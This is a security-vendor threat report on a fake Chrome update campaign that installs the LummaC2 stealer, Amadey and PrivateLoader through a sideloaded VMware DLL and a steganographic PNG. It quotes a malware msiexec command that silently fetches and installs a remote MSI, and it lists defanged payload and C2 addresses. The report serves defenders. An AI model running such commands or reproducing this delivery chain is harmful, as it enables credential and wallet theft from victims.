Fake Browser Updates Distribute LummaC Stealer, Amadey and PrivateLoader Malware

Adversaries don’t work 9-5 and neither do we. At eSentire, our 24/7 SOCs are staffed with Elite Threat Hunters and Cyber Analysts who hunt, investigate, contain and respond to threats within minutes.

We have discovered some of the most dangerous threats and nation state attacks in our space – including the Kaseya MSP breach and the more_eggs malware.

Our Security Operations Centers are supported with Threat Intelligence, Tactical Threat Response and Advanced Threat Analytics driven by our Threat Response Unit – the TRU team.

In TRU Positives, eSentire’s Threat Response Unit (TRU) provides a summary of a recent threat investigation. We outline how we responded to the confirmed threat and what recommendations we have going forward.

Here’s the latest from our TRU Team…

What did we find?

In recent weeks, TRU has observed an uptick in cases related to LummaC2 across multiple industry verticals.

LummaC2 is an information stealer distributed as a Malware-as-a-Service (MaaS) offering on Russian-language forums. The malware was first observed in mid-2022 and remains under active development. As is common with information-stealers, LummaC2 targets an array of information on infected systems including browser credentials and cryptocurrency accounts.

Our analysis suggests it also has the ability to load additional malware onto the system. In a recent case in mid-August, a user became infected with LummaC2, Amadey, and PrivateLoader after running a fake Chrome browser update.

This blog will cover the initial access vector and follow on payloads from this case.

Analysis of the Fake Chrome Update Delivery Mechanism

In the recent case involving a retail customer, the victim performed a Google search for a non-profit educational organization based in El Salvador.

When the page was visited, the user was presented with a fake update for their Chrome browser:

Examining the page’s source code, it’s apparent that an iframe has been injected and overlaid over the legitimate page: 

The iframe loads threat-actor controlled HTML from

hxxps://wnimodmoiejn[.]site/lander/chrome/index.php

This new HTML contains JavaScript that manipulates the DOM and replaces the entire document with the content of ‘X2luZGV4LnBocA==' (’_index.php'). This new page contains a 6000+ line HTML document containing various scripts associated with Keitaro TDS and FingerprintJS.

Keitaro TDS is a popular traffic distribution system used for advertising campaigns. It offers robust device-based filtering options which, in this case, is likely used to deliver payloads to specific groups of targets and to avoid scanners/known vendor IPs.

Snippets of code related to FingerprintJS are also found:

When the FingerprintJS library is initialized, it collects device fingerprint data, encodes it then uses an AJAX function to send it to hxxps://stats-best[.]site/fp.php via POST request:

The fingerprint data contains various attributes about the visitor, including Operating System, keyboard language, screen resolution, time zone, plugins, canvas fingerprint and the visitor ID. How this data is used is not immediately clear. It’s a strong possibility that it is used for campaign tracking and/or filtering of victims.

When examining the fake Chrome update, we noticed the HREF tied to the “Update Chrome” button leads to a legitimate Google link, further increasing the apparent authenticity of the update warning.

However, when clicked, the user is instead redirected to a malicious download. Examining the DOM, we noticed this JavaScript:

The script attaches an event listener to the anchor element “js-download-hero”. This element contains the legitimate Chrome URL:

When this element is clicked, it triggers the event listener. The script first modifies the default behavior using e.preventDefault(), effectively stopping the click from navigating the Google URL. It then constructs a new URL using the Fingerprint ID (FPID) and other parameters then redirects to the new malicious URL.

The “DownloadMouse” class likely uses a hover event listener to track mouse movement. If the element is hovered over by the user’s mouse, it’s reported in the subsequent request for the payload as True.

All of this culminates in a callback to the Keitaro gateway (wnimodmoiejn[.]site), where filters are likely applied before ultimately redirecting to a file hosted on Microsoft’s OneDrive. The user is then presented with a ChromeSetup.exe file (c9094685ae4851fd5a5b886b73c7b07efd9b47ea0bdae3f823d035cf1b3b9e48).

ChromeSetup.exe Analysis

When opened by the victim, ChromeSetup.exe initiates a series of steps to load LummaC2 Stealer which in turn loads additional remote payloads. In this instance, the payloads were Amadey and PrivateLoader.

MSI file Retrieval and Execution

ChromeSetup.exe launches Msiexec.exe with command line options to retrieve and install a remove package:

C:\Windows\system32\msiexec.exe" /i hxxps://ocmtancmi2c5t[.]xyz/82z2fn2afo/b3/update.msi /quiet /qn /norestart

Update.msi is a Windows installer file created using Advanced Installer. The package contains various files including DLLs, a log file, and an executable file:

It also contains a Custom Action to launch VMwareHostOpen.exe:

At first glance the bundled files appear to be legitimate VMware-related files. Two of these files (vmtools.dll and vmo.log) are not legitimate and are components used for loading the next stage of the malware. The bundled files are written to AppData\Roaming\installation-assistant-*\.

VMwareHostOpen.exe DLL Replacement

VMwareHostOpen.exe (0edde5e8300ad4e03f68c05bd022b998) is a valid VMware executable with a signature timestamp from August 2020. It loads several DLLs (including vmtools.dll) from its current working directory before searching other standard paths.

In this case when VMwareHostOpen.exe is executed using the custom action described above, it loads vmtools.dll (95bd27110f462e416904970631fd48a0) which is dropped in the same directory by the installer. We located the original vmtools.dll file and from a quick glance at the file properties it’s apparent the one packaged here has been modified:

Examining the execution flow of both the legitimate and modified DLL, we can see the threat actor patched the legitimate DLL to redirect execution flow to attacker supplied shellcode. Given that the file size remained the same between the files, it’s likely legitimate code was overwritten to achieve this.

Config Extraction and Next-Stage Payloads

Vmtools.dll, loaded by VMwareHostOpen.exe copies the files from the installation directory to a new path under AppData\Roaming\*randomstring*. It then reads from vmo.log, another of the bundled files. Examining the log file reveals it appears to be a PNG image:

The image contains steganographic data which holds injection targets, write locations and deconstructed PE’s (we assess sections, or the entire PEs are injected into targets cmd.exe or explorer.exe). This is likely done for defense evasion purposes by inhibiting memory analysis of intact binaries. A copy of the cleartext file can be found here.

TRU member Saptarshi Laha created a Python script to decode the PNG file, which is available.

This step may seem redundant, but we assess it was likely done to maintain the original file size of vmtools.dll and add modularity.

The shellcode is loaded by vmtool.dll to create an executable section with injected code from the PNG file within mshtml.dll. This is further used to create a hollowed cmd.exe process which in turn injects LummaC2 into a new explorer.exe process using process hollowing. Under the hollowed explorer.exe process, LummaC2 contacts URL (doorblu[.]xyz/c2conf) to retrieve a base64 string containing an XOR-encrypted configuration file:

This object decodes to a JSON file containing configuration data:

The configuration file contains a list of targets common with information stealing, including browser credentials, crypto wallets, password etc.

A series of HTTP POST requests are made to the C2 to upload system information and the stolen data targeted within the above configuration. Also present within the configuration file is a payload URL:

In our testing the configuration file changed over time, with new URLs rotated in and out which served a .NET loader covered below. Observed URLs include:

• hxxp://hopvibestravel[.]co[.]za/BelgiumchainAGRO.exe

• http://lungalungaenergyltd[.]co[.]ke/Adayn.exe
• http://imagebengalnews[.]com/Amd.exe

.NET Loader For Amadey and PrivateLoader

The .NET loader is executed by the same hollowed Windows Explorer process mentioned above. Its lineage can be traced back to the VMwareHostOpen.exe process if examining a parent/child process tree. It contains two encrypted resource files containing Amadey and PrivateLoader (in recent testing StealC was also observed). These resources are decrypted using an AES decryption routine and executed.

For persistence, recent Amadey samples we analyzed established persistence using Startup Folder, scheduled tasks and Run/RunOnce keys. For scheduled tasks, the task name will match the name of the binary dropped to the %temp% directory. We have also observed modifications to HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders to point the startup folder to the directory containing the Amadey binary.

Recent samples connected to Amadey C2 panel at IP 45.9.74[.]182.

In summary, this infection scheme delivered a malicious installation package via a compromised website using a Chrome update overlay. The installation package uses a modified VMware DLL to load shellcode from a PNG containing hidden data. This shellcode is injected into legitimate Windows processes whereby data is stolen from the system and uploaded to the C2 before loading additional payloads.

This final order of operations is a bit unusual. We typically observe malware report basic system information before dropping additional payloads, not wholesale information theft from the system. It’s possible this is simply a precautionary measure in case the subsequent payloads are detected.

Alternatively, considering the MaaS model, it remains a realistic possibility that the threat actor is skimming valuable information before dropping the final payloads.

How did we find it?

• MDR for Endpoint identified file activity related to suspicious installer files.

What did we do?

• Our team of 24/7 SOC Cyber Analysts isolated the host and alerted the customer while an investigation took place before remediating the threat.

What can you learn from this TRU positive?

• Fake browser updates remain a popular method for malware delivery. As demonstrated in this case, a new webpage is overlaid on top of a page visited by the user. The overlay instructs the visitor to update their browser by clicking a download link.

• The Chrome update page shown in the above case looks nearly identical to the real download page.

• Furthermore, the link preview points to Google.com, making detection by the user that much more difficult.

Recommendations from our Threat Response Unit (TRU):

• Protect endpoints against malware by:
  • Ensuring antivirus signatures are up-to-date.
  • Using a Next-Gen AV (NGAV) or Endpoint Detection and Response (EDR) tool to detect and contain threats.
• Raise awareness of malware masquerading as legitimate applications, and include in your Phishing and Security Awareness Training (PSAT) program.
  • An effective PSAT program emphasizes building cyber resilience by increasing risk awareness, rather than trying to turn everyone into security experts.

Indicators of Compromise